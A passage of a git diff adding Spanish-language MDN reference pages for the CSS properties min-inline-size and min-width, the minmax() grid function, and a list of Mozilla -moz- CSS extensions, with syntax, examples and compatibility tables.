+<h3 id="Contenido_HTML">Contenido HTML </h3>
+
+<pre class="brush: html">&lt;p class="exampleText"&gt;Example text&lt;/p&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS </h3>
+
+<pre class="brush: css">.exampleText {
+  writing-mode: vertical-rl;
+  background-color: yellow;
+  block-size: 5%;
+  min-inline-size: 200px;
+}</pre>
+
+<p>{{EmbedLiveSample("Ejemplo")}}</p>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-min-inline-size", "min-inline-size")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.min-inline-size")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Las propiedades físicas mapeadas: {{cssxref("min-width")}} y {{cssxref("min-height")}}</li>
+ <li>{{cssxref("writing-mode")}}</li>
+</ul>
diff --git a/files/es/web/css/min-width/index.html b/files/es/web/css/min-width/index.html
new file mode 100644
index 0000000000..efe24d19b1
--- /dev/null
+++ b/files/es/web/css/min-width/index.html
@@ -0,0 +1,80 @@
+---
+title: min-width
+slug: Web/CSS/min-width
+tags:
+  - Referencia_CSS
+translation_of: Web/CSS/min-width
+---
+<p>{{ CSSRef() }}</p>
+
+<h3 id="Sumario" name="Sumario">Sumario</h3>
+
+<p>La propiedad <code>min-width</code> se usa para determinar la anchura mínima de un elemento. Previene que la propiedad {{ Cssxref("width") }} pueda ser inferior que <code>min-width</code>.</p>
+
+<ul>
+ <li>{{ Xref_cssinitial() }}: 0</li>
+ <li>Aplicable a: elementos de tipo bloque.</li>
+ <li>{{ Xref_cssinherited() }}: no</li>
+ <li>Porcentajes: se refieren a la anchura del bloque contenedor.</li>
+ <li>Media: {{ Xref_cssvisual() }}</li>
+ <li>{{ Xref_csscomputed() }}:</li>
+</ul>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<p>min-width: &lt;longitud&gt; | &lt;porcentaje&gt; | -moz-max-content | -moz-min-content | -moz-fit-content | -moz-available</p>
+
+<h3 id="Valores" name="Valores">Valores</h3>
+
+<ul>
+ <li><strong>length</strong> : puede ser expresado en px, cm, in</li>
+ <li><strong>percentage</strong> : expresado con "%" es un porcentaje del ancho del elemento contenedor.</li>
+ <li><strong>-moz-max-content</strong> : el ancho intrínseco preferido {{ Fx_minversion_inline(3) }}</li>
+ <li><strong>-moz-min-content</strong> : el ancho intrínseco mínimo {{ Fx_minversion_inline(3) }}</li>
+ <li><strong>-moz-available</strong> : el ancho del contenedor menos el margen horizontal, borde y padding {{ Fx_minversion_inline(3) }}</li>
+ <li><strong>-moz-fit-content</strong> : igual que <code>-moz-min-content</code> {{ Fx_minversion_inline(3) }}</li>
+</ul>
+
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+
+<pre>table{min-width: 75%;}
+
+form{min-width: 0;}
+</pre>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<p>{{ Cssxref("min-width") }} sobrescribe los valores de {{ Cssxref("max-width") }} y {{ Cssxref("width") }}.</p>
+
+<h3 id="Especificaciones" name="Especificaciones">Especificaciones</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS2/visudet.html#min-max-widths">CSS 2.1</a></li>
+</ul>
+
+<h3 id="Compatibilidad_entre_navegadores" name="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Navegador</th>
+   <th>Versión mínima</th>
+  </tr>
+  <tr>
+   <td>Internet Explorer</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td>Netscape</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td>3.5</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+
+<p><a href="es/CSS/box_model">box model</a>, {{ Cssxref("min-height") }}, {{ Cssxref("-moz-box-sizing") }}, {{ Cssxref("width") }}, {{ Cssxref("max-width") }}</p>
diff --git a/files/es/web/css/minmax()/index.html b/files/es/web/css/minmax()/index.html
new file mode 100644
index 0000000000..eefc519566
--- /dev/null
+++ b/files/es/web/css/minmax()/index.html
@@ -0,0 +1,214 @@
+---
+title: minmax()
+slug: Web/CSS/minmax()
+tags:
+  - CSS
+  - CSS Grid
+  - Diseño
+  - Función CSS
+  - Referencia
+  - Rejilla CSS
+  - Web
+translation_of: Web/CSS/minmax()
+---
+<p>La función <code><strong>minmax</strong></code><strong><code>()</code></strong> <a href="/en-US/docs/Web/CSS">en CSS</a> define un rango de tamaño mayor o igual que <var>min</var> y menor o igual que <var>max</var>. Se emplea con <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">rejillas CSS</a>.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* valores &lt;ancho no-flexible&gt;, &lt;ancho de la banda&gt; */
+minmax(200px, 1fr)
+minmax(400px, 50%)
+minmax(30%, 300px)
+minmax(100px, max-content)
+minmax(min-content, 400px)
+minmax(max-content, auto)
+minmax(auto, 300px)
+minmax(min-content, auto)
+
+/* valores &lt;ancho fijo&gt;, &lt;ancho de la banda&gt; */
+minmax(200px, 1fr)
+minmax(30%, 300px)
+minmax(400px, 50%)
+minmax(50%, min-content)
+minmax(300px, max-content)
+minmax(200px, auto)
+
+/* valores &lt;ancho no-flexible&gt;, &lt;ancho fijo&gt; */
+minmax(400px, 50%)
+minmax(30%, 300px)
+minmax(min-content, 200px)
+minmax(max-content, 200px)
+minmax(auto, 300px)
+</pre>
+
+<h2 id="Sintáxis">Sintáxis</h2>
+
+<p>Una función que toma dos parámetros, <em>min</em> y <em>max</em>.</p>
+
+<p>Cada parámetro puede ser un valor <code>&lt;length&gt;</code>, <code>&lt;percentage&gt;</code>, <code>&lt;flex&gt;</code> o uno de los valores de las palabras clave <code>max-content</code>, <code>min-content</code> o <code>auto</code>.</p>
+
+<p>Si <var>max</var> &lt; <var>min</var>, entonces <var>max</var> es ignorado y se trata a <code>minmax(min,max)</code> como <var>min</var>. Como un máximo, un valor {{cssxref("flex_value","&lt;flex&gt;")}} establece el factor flex de una banda; no es válido como un mínimo.</p>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>Una medida no negativa.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>Un porcentaje no negativo, relativo al tamaño en línea del contenedor de la rejilla en bandas de columna y el tamaño de bloque del contenedor de rejilla en bandas de fila. Si el tamaño del contenedor de la rejilla depende del tamaño de sus bandas, entonces <code>&lt;percentage&gt;</code> debe ser tratado como <code>auto</code>. El {{glossary("user agent")}} puede ajustar las contribuciones del tamaño implícito de la banda al tamaño del contenedor de rejilla y así incrementar el tamaño final de la banda y así incrementar el tamaño final en la cantidad mínima que resultase al respetar el porcentaje.</dd>
+ <dt>{{cssxref("&lt;flex&gt;")}}</dt>
+ <dd>Una dimension no-negativa con la unidad <code>fr</code> especificando el factor flex de la banda. Cada banda de tamaño <code>&lt;flex&gt;</code> toma una parte del espacio disponible en proporción a su factor flex.</dd>
+ <dt><code>max-content</code></dt>
+ <dd>Representa la mayor contribución max-content de los elementos de rejilla que ocupan la banda.</dd>
+ <dt><code>min-content</code></dt>
+ <dd>Representa la mayor contribución min-content de los elementos de rejilla que ocupan la banda.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Como un máximo, idéntico a <code>max-content</code>. Como un mínimo representa el mayor tamaño mínimo (como se especifica en {{cssxref("min-width")}}/{{cssxref("min-height")}}) de los elementos de rejilla que ocupan la banda.</dd>
+</dl>
+
+<h3 id="Sintáxis_formal">Sintáxis formal</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h3 id="Propiedades_CSS">Propiedades CSS</h3>
+
+<p>La función <code>minmax()</code> puede ser usada dentro de: </p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-rows</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+ <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+</ul>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[3] notranslate">#container {
+  display: grid;
+  grid-template-columns: minmax(max-content, 300px) minmax(200px, 1fr) 150px;
+  grid-gap: 5px;
+  box-sizing: border-box;
+  height: 200px;
+  width: 100%;
+  background-color: #8cffa0;
+  padding: 10px;
+}
+
+#container &gt; div {
+  background-color: #8ca0ff;
+  padding: 5px;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div id="container"&gt;
+  &lt;div&gt;
+    Elemento tan ancho como el contenido,&lt;br/&gt;
+    pero de máximo 300 píxeles.
+  &lt;/div&gt;
+  &lt;div&gt;
+    Elemento con un ancho flexible, pero con un mínimo de 200 píxeles.
+  &lt;/div&gt;
+  &lt;div&gt;
+    Elemento inflexible de 150 píxeles de ancho.
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample("Example", "100%", 200)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Especificación</th>
+   <th>Estado</th>
+   <th>Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Grid", "#valdef-grid-template-columns-minmax", "minmax()")}}</td>
+   <td>{{Spec2("CSS Grid")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página se generó desde datos estructurados. Si quieres contribuir a los datos, por favor revisa <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos un pull request..</div>
+
+<p>{{Compat("css.properties.grid-template-columns.minmax")}}</p>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li>Guía de Grid Layout: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout#Track_sizing_and_minmax()">Conceptos básicos del diseño con rejilla - tamaño de bandas con minmax()</a></em></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Rejillas CSS, valores lógicos y modos de escritura</a></li>
+ <li>
+  <p>Video tutorial: <em><a href="http://gridbyexample.com/video/series-minmax/">Presentando minmax()</a></em></p>
+ </li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li><a href="/en-US/docs/Web/CSS"><strong>CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/Reference"><strong>Referencia CSS</strong></a></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">CSS Grid Layout</a></li>
+ <li data-default-state="open"><a href="#"><strong>Guías</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout">Conceptos básicos del diseño con rejillas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Relationship_of_Grid_Layout">Relación a otros métodos de diseño</a></li>
+   <li><a href="
+/en-US/docs/Web/CSS/CSS_Grid_Layout/Line-based_Placement_with_CSS_Grid">Posicionamiento basado en líneas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Grid_Template_Areas">Grid template areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Layout_using_Named_Grid_Lines">Diseño usando lineas con nombre</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Auto-placement_in_CSS_Grid_Layout">Posicionamiento automático en el diseño con rejillas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Alineamiento de cajas en el diseño con rejillas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Modes">Rejillas, valores lógicos y modos de escritura</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_Layout_and_Accessibility">CSS Grid Layout y la Accesibilidad</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/CSS_Grid_and_Progressive_Enhancement">CSS Grid Layout y una Mejora Progresiva</a></li>
+   <li><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Realizing_common_layouts_using_CSS_Grid_Layout">Elaborando diseños comunes utilizando rejillas</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Propiedades</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Web/CSS/grid">grid</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-area">grid-area</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-columns">grid-auto-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-flow">grid-auto-flow</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-auto-rows">grid-auto-rows</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column">grid-column</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-end">grid-column-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-gap">grid-column-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-column-start">grid-column-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-gap">grid-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row">grid-row</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-end">grid-row-end</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-gap">grid-row-gap</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-row-start">grid-row-start</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template">grid-template</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-areas">grid-template-areas</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-columns">grid-template-columns</a></li>
+   <li><a href="/en-US/docs/Web/CSS/grid-template-rows">grid-template-rows</a></li>
+  </ol>
+ </li>
+ <li data-default-state="open"><a href="#"><strong>Glosario</strong></a>
+  <ol>
+   <li><a href="/en-US/docs/Glossary/Grid">Rejilla</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_lines">Líneas de rejilla</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_tracks">Bandas de rejilla</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_cell">Celdas de rejilla</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_areas">Áreas de rejilla</a></li>
+   <li><a href="/en-US/docs/Glossary/Gutters">Canaletes</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_Axis">Eje de rejilla</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_rows">Fila</a></li>
+   <li><a href="/en-US/docs/Glossary/Grid_column">Columna</a></li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/es/web/css/mozilla_extensions/index.html b/files/es/web/css/mozilla_extensions/index.html
new file mode 100644
index 0000000000..8a6f0cb5bc
--- /dev/null
+++ b/files/es/web/css/mozilla_extensions/index.html
@@ -0,0 +1,616 @@
+---
+title: Extensiones CSS de Mozilla
+slug: Web/CSS/Mozilla_Extensions
+translation_of: Web/CSS/Mozilla_Extensions
+---
+<div>{{CSSRef}}</div>
+
+<p>Mozilla soporta ciertas extensiones de <a href="/en-US/docs/CSS" title="CSS">CSS</a> con el prefijo<code> -moz-</code>.</p>
+
+<p>Algunas de estas propiedades han sido incluidas en una especificación de CSS en borrador para incluirlas en la recomendación final, pero aún están en proceso experimental. La propiedad final estándar puede ser diferente de la implementación actual con prefijo. Algunas de estas propiedades no estándares solo son aplicables en elementos XUL.</p>
+
+<p>Cuando se estandarizan y se añade el soporte para la variante sin prefijo, las propiedades prefijadas se abandonan.</p>
+
+<h2 id="Propiedades_estándares_prefijadas_de_Mozilla">Propiedades estándares prefijadas de Mozilla</h2>
+
+<div style="-moz-column-width: 20em; -webkit-columns: 20em; columns: 20em;"><span style="font-family: georgia,times,times new roman,serif; font-size: 1.6em;">A</span>
+
+<ul style="margin-left: 0; padding-left: 0; list-style-type: none;">
+ <li>{{Cssxref("-moz-appearance")}}</li>
+</ul>
+<span style="font-family: georgia,times,times new roman,serif; font-size: 1.6em;">B</span>
+
+<ul style="margin-left: 0; padding-left: 0; list-style-type: none;">
+ <li>{{Cssxref("-moz-background-inline-policy")}}</li>
+ <li>{{cssxref("box-sizing", "-moz-box-sizing")}}</li>
+</ul>
+<span style="font-family: georgia,times,times new roman,serif; font-size: 1.6em;">C D E</span>
+
+<ul style="margin-left: 0; padding-left: 0; list-style-type: none;">
+ <li>{{Cssxref("clip-path")}} (aplicado en SVG y otros)</li>
+ <li>{{Cssxref("-moz-column-count")}}</li>
+ <li>{{Cssxref("-moz-column-fill")}}</li>
+ <li>{{Cssxref("-moz-column-gap")}}</li>
+ <li>{{Cssxref("-moz-column-width")}}</li>
+ <li>{{Cssxref("-moz-column-rule")}}</li>
+ <li>{{Cssxref("-moz-column-rule-width")}}</li>
+ <li>{{Cssxref("-moz-column-rule-style")}}</li>
+ <li>{{Cssxref("-moz-column-rule-color")}}</li>
+</ul>
+<span style="font-family: georgia,times,times new roman,serif; font-size: 1.6em;">F G</span>
+
+<ul style="margin-left: 0; padding-left: 0; list-style-type: none;">
+ <li>{{Cssxref("filter")}} (aplicado en SVG y otros)</li>
+ <li>{{Cssxref("-moz-font-feature-settings")}}</li>
+ <li>{{cssxref("-moz-font-language-override")}}</li>
+</ul>
+<span style="font-family: georgia,times,times new roman,serif; font-size: 1.6em;">H</span>
+
+<ul style="margin-left: 0; padding-left: 0; list-style-type: none;">
+ <li>{{Cssxref("-moz-hyphens")}}</li>
+</ul>
+<span style="font-family: georgia,times,times new roman,serif; font-size: 1.6em;">I—O</span>
+
+<ul style="margin-left: 0; padding-left: 0; list-style-type: none;">
+ <li>{{Cssxref("mask")}} (aplicado en SVG y otros)</li>
+</ul>
+<span style="font-family: georgia,times,times new roman,serif; font-size: 1.6em;">P</span>
+
+<ul style="margin-left: 0; padding-left: 0; list-style-type: none;">
+ <li>{{Cssxref("pointer-events")}} (aplicado en SVG y otros)</li>
+</ul>
+<span style="font-family: georgia,times,times new roman,serif; font-size: 1.6em;">Q—T</span>
+
+<ul style="margin-left: 0; padding-left: 0; list-style-type: none;">
+ <li>{{cssxref("-moz-text-align-last")}}</li>
+ <li>{{Cssxref("text-decoration-color","-moz-text-decoration-color")}}</li>
+ <li>{{Cssxref("text-decoration-line","-moz-text-decoration-line")}}</li>
+ <li>{{Cssxref("text-decoration-style","-moz-text-decoration-style")}}</li>
+</ul>
+</div>
+
+<h2 id="Propiedades_no_estándar_prefijadas_propietarias_de_Mozilla_(no_usar_en_sitios_web)">Propiedades no estándar prefijadas propietarias de Mozilla (no usar en sitios web)</h2>
+
+<div style="-moz-column-width: 20em; -webkit-columns: 20em; columns: 20em;"><span style="font-family: georgia,times,times new roman,serif; font-size: 1.6em;">A B</span>
+
+<ul style="margin-left: 0; padding-left: 0; list-style-type: none;">
+ <li>{{Cssxref("-moz-binding")}}</li>
+ <li>{{Cssxref("-moz-border-bottom-colors")}}</li>
+ <li>{{Cssxref("-moz-border-end")}}</li>
+ <li>{{Cssxref("-moz-border-end-color")}}</li>
+ <li>{{Cssxref("-moz-border-end-style")}}</li>
+ <li>{{Cssxref("-moz-border-end-width")}}</li>
+ <li>{{Cssxref("-moz-border-left-colors")}}</li>
+ <li>{{Cssxref("-moz-border-right-colors")}}</li>
+ <li>{{Cssxref("-moz-border-start")}}</li>
+ <li>{{Cssxref("-moz-border-start-color")}}</li>
+ <li>{{Cssxref("-moz-border-start-style")}}</li>
+ <li>{{Cssxref("-moz-border-start-width")}}</li>
+ <li>{{Cssxref("-moz-border-top-colors")}}</li>
+ <li>{{Cssxref("-moz-box-align")}}</li>
+ <li>{{Cssxref("-moz-box-direction")}}</li>
+ <li>{{Cssxref("-moz-box-flex")}}</li>
+ <li>{{Cssxref("-moz-box-ordinal-group")}}</li>
+ <li>{{Cssxref("-moz-box-orient")}}</li>
+ <li>{{Cssxref("-moz-box-pack")}}</li>
+</ul>
+
+<p><span style="font-family: georgia,times,times new roman,serif; font-size: 1.6em;">C—F</span></p>
+
+<ul style="margin-left: 0; padding-left: 0; list-style-type: none;">
+ <li>{{Cssxref("-moz-float-edge")}}</li>
+ <li>{{Cssxref("-moz-force-broken-image-icon")}}</li>
+</ul>
+
+<p><span style="font-family: georgia,times,times new roman,serif; font-size: 1.6em;">G H I</span></p>
+
+<ul style="margin-left: 0; padding-left: 0; list-style-type: none;">
+ <li>{{Cssxref("-moz-image-region")}}</li>
+</ul>
+
+<p><span style="font-family: georgia,times,times new roman,serif; font-size: 1.6em;">J—M</span></p>
+
+<ul style="margin-left: 0; padding-left: 0; list-style-type: none;">
+ <li>{{Cssxref("-moz-margin-end")}}</li>
+ <li>{{Cssxref("-moz-margin-start")}}</li>
+</ul>
+
+<p><span style="font-family: georgia,times,times new roman,serif; font-size: 1.6em;">N O</span></p>
+
+<ul style="margin-left: 0; padding-left: 0; list-style-type: none;">
+ <li>{{cssxref("-moz-orient")}}</li>
+ <li>{{Cssxref("-moz-outline-radius")}}</li>
+ <li>{{Cssxref("-moz-outline-radius-bottomleft")}}</li>
+ <li>{{Cssxref("-moz-outline-radius-bottomright")}}</li>
+ <li>{{Cssxref("-moz-outline-radius-topleft")}}</li>
+ <li>{{Cssxref("-moz-outline-radius-topright")}}</li>
+</ul>
+
+<p><span style="font-family: georgia,times,times new roman,serif; font-size: 1.6em;">P Q R</span></p>
+
+<ul style="margin-left: 0; padding-left: 0; list-style-type: none;">
+ <li>{{Cssxref("-moz-padding-end")}}</li>
+ <li>{{Cssxref("-moz-padding-start")}}</li>
+</ul>
+
+<p><span style="font-family: georgia,times,times new roman,serif; font-size: 1.6em;">S</span></p>
+
+<ul style="margin-left: 0; padding-left: 0; list-style-type: none;">
+ <li>{{Cssxref("-moz-script-level")}}</li>
+ <li>{{Cssxref("-moz-script-min-size")}}</li>
+ <li>{{Cssxref("-moz-script-size-multiplier")}}</li>
+ <li>{{Cssxref("-moz-stack-sizing")}}</li>
+</ul>
+
+<p><span style="font-family: georgia,times,times new roman,serif; font-size: 1.6em;">T U V</span></p>
+
+<ul style="margin-left: 0; padding-left: 0; list-style-type: none;">
+ <li>{{Cssxref("-moz-user-focus")}}</li>
+ <li>{{Cssxref("-moz-user-input")}}</li>
+ <li>{{Cssxref("-moz-user-modify")}}</li>
+ <li>{{Cssxref("-moz-user-select")}}</li>
+</ul>
+
+<p><span style="font-family: georgia,times,times new roman,serif; font-size: 1.6em;">W—Z</span></p>
+
+<ul style="margin-left: 0; padding-left: 0; list-style-type: none;">
+ <li>{{Cssxref("-moz-window-shadow")}}</li>
+</ul>
+</div>
+
+<h2 id="Propiedades_prefijadas_anteriormente_ahora_estándar">Propiedades prefijadas anteriormente, ahora estándar</h2>
+
+<ul style="margin-left: 0; padding-left: 0; list-style-type: none;">
+ <li>{{Cssxref("animation", "-moz-animation")}} [Aún se acepta la versión con prefijo]</li>
+ <li>{{Cssxref("animation-delay", "-moz-animation-delay")}} [Aún se acepta la versión con prefijo]</li>
+ <li>{{Cssxref("animation-direction", "-moz-animation-direction")}} [Aún se acepta la versión con prefijo]</li>
+ <li>{{Cssxref("animation-duration", "-moz-animation-duration")}} [Aún se acepta la versión con prefijo]</li>
+ <li>{{Cssxref("animation-fill-mode", "-moz-animation-fill-mode")}} [Aún se acepta la versión con prefijo]</li>
+ <li>{{Cssxref("animation-iteration-count", "-moz-animation-iteration-count")}} [Aún se acepta la versión con prefijo]</li>
+ <li>{{Cssxref("animation-name", "-moz-animation-name")}} [Aún se acepta la versión con prefijo]</li>
+ <li>{{Cssxref("animation-play-state", "-moz-animation-play-state")}} [Aún se acepta la versión con prefijo]</li>
+ <li>{{Cssxref("animation-timing-function","-moz-animation-timing-function")}} [Aún se acepta la versión con prefijo]</li>
+ <li>{{Cssxref("backface-visibility", "-moz-backface-visibility")}} [Aún se acepta la versión con prefijo]</li>
+ <li>{{Cssxref("background-clip", "-moz-background-clip")}}</li>
+ <li>{{Cssxref("background-origin", "-moz-background-origin")}}</li>
+ <li>{{Cssxref("background-size", "-moz-background-size")}}</li>
+ <li>{{Cssxref("border-image","-moz-border-image")}}</li>
+ <li>{{Cssxref("opacity","-moz-opacity")}}</li>
+ <li>{{Cssxref("outline","-moz-outline")}}</li>
+ <li>{{Cssxref("outline-color","-moz-outline-color")}}</li>
+ <li>{{Cssxref("outline-offset","-moz-outline-offset")}}</li>
+ <li>{{Cssxref("outline-style","-moz-outline-style")}}</li>
+ <li>{{Cssxref("outline-width","-moz-outline-width")}}</li>
+ <li>{{Cssxref("perspective", "-moz-perspective")}} [Aún se acepta la versión con prefijo]</li>
+ <li>{{Cssxref("perspective-origin","-moz-perspective-origin")}} [Aún se acepta la versión con prefijo]</li>
+ <li>{{Cssxref("transform", "-moz-transform")}} [Aún se acepta la versión con prefijo]</li>
+ <li>{{Cssxref("transform-origin", "-moz-transform-origin")}} [Aún se acepta la versión con prefijo]</li>
+ <li>{{Cssxref("transform-style", "-moz-transform-style")}} [Aún se acepta la versión con prefijo]</li>
+ <li>{{cssxref("transition", "-moz-transition")}} [Aún se acepta la versión con prefijo]</li>
+ <li>{{cssxref("transition-delay", "-moz-transition-delay")}}  [Aún se acepta la versión con prefijo]</li>
+ <li>{{cssxref("transition-duration", "-moz-transition-duration")}} [Aún se acepta la versión con prefijo]</li>
+ <li>{{cssxref("transition-property", "-moz-transition-property")}} [Aún se acepta la versión con prefijo]</li>
+ <li>{{cssxref("transition-timing-function", "-moz-transition-timing-function")}} [Aún se acepta la versión con prefijo]</li>
+</ul>
+
+<h2 id="Valores">Valores</h2>
+
+<h3 id="Para_todas_las_propiedades">Para todas las propiedades</h3>
+
+<ul>
+ <li>{{cssxref("initial","-moz-initial")}}</li>
+</ul>
+
+<h3 id="-moz-appearance" name="-moz-appearance">{{Cssxref("-moz-appearance")}}</h3>
+
+<ul style="-moz-column-width: 20em; -webkit-columns: 20em; columns: 20em;">
+ <li><code>button</code></li>
+ <li><code>button-arrow-down</code></li>
+ <li><code>button-arrow-next</code></li>
+ <li><code>button-arrow-previous</code></li>
+ <li><code>button-arrow-up</code></li>
+ <li><code>button-bevel</code></li>
+ <li><code>checkbox</code></li>
+ <li><code>checkbox-container</code></li>
+ <li><code>checkbox-label</code></li>
+ <li><code>checkmenuitem</code></li>
+ <li><code>dialog</code></li>
+ <li><code>groupbox</code></li>
+ <li><code>listbox</code></li>
+ <li><code>menuarrow</code></li>
+ <li><code>menucheckbox</code></li>
+ <li><code>menuimage</code></li>
+ <li><code>menuitem</code></li>
+ <li><code>menuitemtext</code></li>
+ <li><code>menulist</code></li>
+ <li><code>menulist-button</code></li>
+ <li><code>menulist-text</code></li>
+ <li><code>menulist-textfield</code></li>
+ <li><code>menupopup</code></li>
+ <li><code>menuradio</code></li>
+ <li><code>menuseparator</code></li>
+ <li><code>-moz-mac-unified-toolbar</code> {{Fx_minversion_inline(3.5)}}</li>
+ <li><code>-moz-win-borderless-glass</code></li>
+ <li><code>-moz-win-browsertabbar-toolbox</code> {{Fx_minversion_inline(3)}}</li>
+ <li><code>-moz-win-communications-toolbox</code> {{Fx_minversion_inline(3)}}</li>
+ <li><code>-moz-win-glass</code></li>
+ <li><code>-moz-win-media-toolbox</code> {{Fx_minversion_inline(3)}}</li>
+ <li><code>-moz-window-button-box</code></li>
+ <li><code>-moz-window-button-box-maximized</code></li>
+ <li><code>-moz-window-button-close</code></li>
+ <li><code>-moz-window-button-maximize</code></li>
+ <li><code>-moz-window-button-minimize</code></li>
+ <li><code>-moz-window-button-restore</code></li>
+ <li><code>-moz-window-titlebar</code></li>
+ <li><code>-moz-window-titlebar-maximized</code></li>
+ <li><code>progressbar</code></li>
+ <li><code>progresschunk</code></li>
+ <li><code>radio</code></li>
+ <li><code>radio-container</code></li>
+ <li><code>radio-label</code></li>
+ <li><code>radiomenuitem</code></li>
+ <li><code>resizer</code></li>
+ <li><code>resizerpanel</code></li>
+ <li><code>scale-horizontal</code></li>
+ <li><code>scalethumb-horizontal</code></li>
+ <li><code>scalethumb-vertical</code></li>
+ <li><code>scale-vertical</code></li>
+ <li><code>scrollbarbutton-down</code></li>
+ <li><code>scrollbarbutton-left</code></li>
+ <li><code>scrollbarbutton-right</code></li>
+ <li><code>scrollbarbutton-up</code></li>
+ <li><code>scrollbar-small</code></li>
+ <li><code>scrollbarthumb-horizontal</code></li>
+ <li><code>scrollbarthumb-vertical</code></li>
+ <li><code>scrollbartrack-horizontal</code></li>
+ <li><code>scrollbartrack-vertical</code></li>
+ <li><code>separator</code></li>
+ <li><code>spinner</code></li>
